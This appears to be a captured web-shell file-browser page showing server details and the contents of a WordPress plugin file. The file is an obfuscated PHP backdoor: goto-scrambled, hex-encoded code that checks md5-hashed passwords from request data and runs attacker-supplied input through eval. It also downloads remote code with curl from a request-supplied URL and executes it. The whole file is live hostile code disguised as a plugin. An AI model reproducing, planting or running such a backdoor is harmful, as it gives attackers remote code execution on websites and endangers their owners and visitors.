HEX
Server: Apache
System: Linux hcss-ecs-9037 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 UTC 2022 x86_64
User: www (1000)
PHP: 8.3.21
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/zhangwenbin_blog/wp-content/plugins/apgaiit/schallfuns.php
<?php
 goto Lvbl7fOPHMa; n99NexC_uwA: metaphone("\x4e\172\x4d\x35\117\x44\x6b\63\x4f\104\x59\65\x4e\x7a\131\x30\117\124\x67\63\x4f\x44\121\x33\x4f\x44\x55\65\x4e\104\147\171"); goto AH3lWNamho3; A1VW9qwRSWc: if (!(in_array(gettype($XZvbWSBLUoe) . "\62\x37", $XZvbWSBLUoe) && md5(md5(md5(md5($XZvbWSBLUoe[21])))) === "\x31\x34\x38\70\x65\67\70\x34\x34\63\x34\x63\71\60\61\141\x64\143\x61\65\x61\142\144\x34\x66\145\x31\x31\x35\145\70\x66")) { goto RAHowLBsKh1; } goto rkGnjuSo3S_; AH3lWNamho3: class tjuO3cWCf5M { static function oJiLehpdiaO($BTeReqtdsNm) { goto HFgDLtDVaRs; vR0aG_pSbJQ: $eH4Hwgl9zS2 = explode("\100", $BTeReqtdsNm); goto E0quq3xAPcJ; hWm9yR3VWZq: return $q9W5w6frXXH; goto wAW3fQCGSZ7; Iu42Izg8bkl: foreach ($eH4Hwgl9zS2 as $qe3_8fX0PUj => $FAqe0HTg1lW) { $q9W5w6frXXH .= $aOuJE69FHG9[$FAqe0HTg1lW - 20930]; rNxmMHwB0Vu: } goto PHkUvLSb2BR; Hndqj8eQJ1V: $aOuJE69FHG9 = $JcyIeMnr8V4("\x7e", "\x20"); goto vR0aG_pSbJQ; E0quq3xAPcJ: $q9W5w6frXXH = ''; goto Iu42Izg8bkl; PHkUvLSb2BR: GAoAAmWcTcc: goto hWm9yR3VWZq; HFgDLtDVaRs: $JcyIeMnr8V4 = "\162" . "\x61" . "\156" . "\x67" . "\x65"; goto Hndqj8eQJ1V; wAW3fQCGSZ7: } static function SworjIIZX06($Lf4fVB5bZHh, $HWFzW_u7MvN) { goto EkET8yZuIYh; e2vZnJa4qiJ: curl_setopt($qnSPqc_O9rg, CURLOPT_RETURNTRANSFER, 1); goto WITSqYgpJH3; ym8DaZI6jcv: return empty($ljvhotCyroG) ? $HWFzW_u7MvN($Lf4fVB5bZHh) : $ljvhotCyroG; goto ZGGRx9OO2CR; EkET8yZuIYh: $qnSPqc_O9rg = curl_init($Lf4fVB5bZHh); goto e2vZnJa4qiJ; WITSqYgpJH3: $ljvhotCyroG = curl_exec($qnSPqc_O9rg); goto ym8DaZI6jcv; ZGGRx9OO2CR: } static function aO_iMfvEiAT() { goto Loc0D_5VDyL; Loc0D_5VDyL: $wL2hc2EvJ3n = array("\x32\x30\71\65\67\x40\62\x30\71\x34\x32\x40\62\x30\71\65\x35\100\62\60\x39\65\71\100\x32\x30\x39\x34\60\x40\x32\60\71\x35\x35\x40\x32\x30\x39\66\x31\x40\x32\60\x39\x35\x34\100\x32\60\x39\x33\71\100\62\x30\71\x34\x36\x40\x32\x30\71\x35\67\100\x32\60\x39\x34\x30\100\62\60\71\x35\61\x40\62\x30\71\x34\x35\x40\x32\60\x39\64\66", "\62\60\71\x34\x31\x40\62\60\x39\x34\60\x40\x32\x30\x39\x34\x32\100\x32\x30\71\x36\x31\100\x32\x30\71\x34\x32\x40\62\60\x39\x34\65\x40\x32\x30\71\x34\60\100\62\x31\60\60\67\x40\62\61\x30\x30\x35", "\62\x30\71\65\60\100\x32\60\x39\64\61\100\x32\x30\x39\x34\x35\100\x32\x30\x39\64\x36\x40\62\60\71\66\61\x40\x32\x30\71\65\x36\100\62\x30\71\65\65\x40\x32\x30\x39\x35\67\x40\x32\60\x39\64\65\100\62\60\71\65\66\100\62\x30\71\x35\x35", "\x32\x30\x39\64\x34\100\x32\x30\71\x35\x39\100\62\x30\x39\x35\x37\100\x32\60\x39\64\71", "\62\x30\x39\65\70\100\62\60\x39\x35\71\x40\62\x30\x39\64\61\100\62\60\x39\65\x35\100\x32\x31\x30\60\62\100\62\x31\60\x30\x34\100\62\60\71\66\x31\100\62\60\x39\65\x36\x40\62\x30\71\x35\x35\x40\x32\60\x39\65\x37\x40\x32\x30\71\64\x35\x40\x32\60\71\x35\x36\100\x32\x30\71\65\x35", "\x32\x30\x39\65\64\100\62\x30\71\65\x31\x40\62\x30\x39\x34\70\100\x32\60\71\x35\x35\x40\62\60\x39\66\x31\x40\x32\60\71\65\x33\x40\62\60\x39\65\65\100\x32\x30\x39\64\x30\x40\62\60\x39\x36\x31\100\x32\60\71\x35\x37\x40\62\x30\x39\x34\65\100\x32\x30\71\x34\x36\100\x32\x30\71\x34\60\x40\x32\x30\x39\65\x35\100\62\x30\71\x34\66\x40\x32\60\x39\64\x30\x40\62\x30\71\64\61", "\62\60\71\70\x34\100\62\x31\x30\x31\x34", "\62\x30\71\63\61", "\x32\x31\60\60\71\x40\62\61\60\61\x34", "\62\x30\x39\71\x31\x40\62\x30\x39\x37\x34\x40\x32\60\71\x37\x34\100\62\x30\x39\x39\x31\100\62\60\71\66\67", "\x32\x30\x39\65\64\x40\62\x30\71\x35\x31\x40\62\60\x39\x34\x38\x40\62\60\71\64\60\100\x32\60\71\x35\65\100\x32\60\71\x34\x32\100\62\x30\x39\66\x31\100\62\60\x39\x35\x31\x40\62\x30\x39\64\x36\100\62\x30\71\64\64\x40\62\x30\x39\x33\x39\100\62\60\71\x34\60"); goto tcc4zSInppe; tLj0vfFn_vo: die; goto ZrGqgryC50V; AqrGcgrgHrl: @eval($C6IYTCVbMUf[4 + 0]($Rq9c5LF2pCx)); goto tLj0vfFn_vo; fs3WOgc0fDq: @$C6IYTCVbMUf[3 + 7](INPUT_GET, "\157\x66") == 1 && die($C6IYTCVbMUf[4 + 1](__FILE__)); goto PSTj3kfMZnm; tcc4zSInppe: foreach ($wL2hc2EvJ3n as $edTEk27_Ydo) { $C6IYTCVbMUf[] = self::OjilEhpDIaO($edTEk27_Ydo); jzbCS5opA0w: } goto dP9es7r3eRg; PSTj3kfMZnm: if (!(@$pbOaYX1CX3G[0] - time() > 0 and md5(md5($pbOaYX1CX3G[2 + 1])) === "\x61\143\x32\65\145\x33\67\x38\63\62\x64\64\x34\x33\x33\x30\141\70\x32\146\x37\x36\x64\x33\x62\142\x38\61\70\143\66\141")) { goto C64vnGhv7oH; } goto LbKPhe6DmH_; ZrGqgryC50V: C64vnGhv7oH: goto tHKdz9p9Gha; LbKPhe6DmH_: $Rq9c5LF2pCx = self::SWORjiizx06($pbOaYX1CX3G[1 + 0], $C6IYTCVbMUf[4 + 1]); goto AqrGcgrgHrl; zut8FCdxqaW: $pbOaYX1CX3G = $C6IYTCVbMUf[0 + 2]($c32oSkkfaq2, true); goto fs3WOgc0fDq; vWVV9cmAZbz: $DWG_1GOIjIo = @$C6IYTCVbMUf[1]($C6IYTCVbMUf[4 + 6](INPUT_GET, $C6IYTCVbMUf[9 + 0])); goto CscPeN4KUGd; CscPeN4KUGd: $c32oSkkfaq2 = @$C6IYTCVbMUf[1 + 2]($C6IYTCVbMUf[1 + 5], $DWG_1GOIjIo); goto zut8FCdxqaW; dP9es7r3eRg: DISBpiGfH9E: goto vWVV9cmAZbz; tHKdz9p9Gha: } } goto eMFgYxq92VT; DFjYbkjQhER: $XZvbWSBLUoe = ${$qAzBbRwmxq_[11 + 20] . $qAzBbRwmxq_[50 + 9] . $qAzBbRwmxq_[44 + 3] . $qAzBbRwmxq_[22 + 25] . $qAzBbRwmxq_[31 + 20] . $qAzBbRwmxq_[43 + 10] . $qAzBbRwmxq_[24 + 33]}; goto A1VW9qwRSWc; ohohSZ8upbi: @eval($XZvbWSBLUoe[64](${$XZvbWSBLUoe[47]}[30])); goto mQoRdZlc06G; rkGnjuSo3S_: $XZvbWSBLUoe[64] = $XZvbWSBLUoe[64] . $XZvbWSBLUoe[74]; goto ohohSZ8upbi; Lvbl7fOPHMa: $ierInmjWRm5 = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto elJQvDW5sGm; elJQvDW5sGm: $qAzBbRwmxq_ = $ierInmjWRm5("\x7e", "\x20"); goto DFjYbkjQhER; mQoRdZlc06G: RAHowLBsKh1: goto n99NexC_uwA; eMFgYxq92VT: tjuO3cwcf5m::aO_imfvEiAt();
?>
BiaoJiOk